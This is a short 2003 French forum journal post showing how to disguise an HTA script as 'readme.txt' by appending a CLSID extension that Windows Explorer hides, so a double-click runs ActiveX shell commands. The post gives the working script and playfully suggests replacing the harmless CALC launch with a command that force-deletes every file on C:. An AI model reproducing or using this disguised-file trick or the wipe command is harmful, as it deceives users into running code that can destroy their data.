URL: https://linuxfr.org/users/tr4m0/journaux/jouons-avec-windows
Title: Jouons avec windows
Authors: Tr4m0
Date: 2003年12月29日T10:31:20+01:00
Tags: 
Score: 0
Soit un fichier nommé readme.txt dans lequel nous mettons : 
 
<script> 
a=new ActiveXObject("WSCript.Shell"); 
a.run("CALC"); 
alert("I am .HTA\n Started command"); 
</script> 
 
Jusque là, rien d'extraordinaire, mais renommons-le en readme.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} (oui, avec tous les machins héxadécimaux entre accolades après le point). 
 
C'est rigolo, l'extension en hexadécimal n'apparait pas dans exprorer ! On ne voit que readme.txt, un banal fichier texte qui nous demande de le double-cliquer... Et quand on double-clique dessus, c'est magique ! 
 
Vous pouvez bien sûr remplacer le CALC par des truc plus rigolos comme "CMD /C DEL /S /F /Q C:\*.*".
</div><div class="naked_ctrl">
<form action="/index.cgi/contrast" method="get" name="gate">
<p><a href="http://altstyle.alfasado.net">AltStyle</a> によって変換されたページ <a href="httpS://linuxfr.org/users/tr4m0/journaux/jouons-avec-windows.md">(-&gt;オリジナル)</a>
/ <label>アドレス: <input type="text" name="naked_post_url" value="httpS://linuxfr.org/users/tr4m0/journaux/jouons-avec-windows.md" size="22" /></label> <label>モード: <select name="naked_post_mode">
<option value="default">デフォルト</option>
<option value="speech">音声ブラウザ</option>
<option value="ruby">ルビ付き</option>
<option value="contrast" selected="selected">配色反転</option>
<option value="larger-text">文字拡大</option>
<option value="mobile">モバイル</option>
</select>
<input type="submit" value="表示" />
</p>
</form>
</div>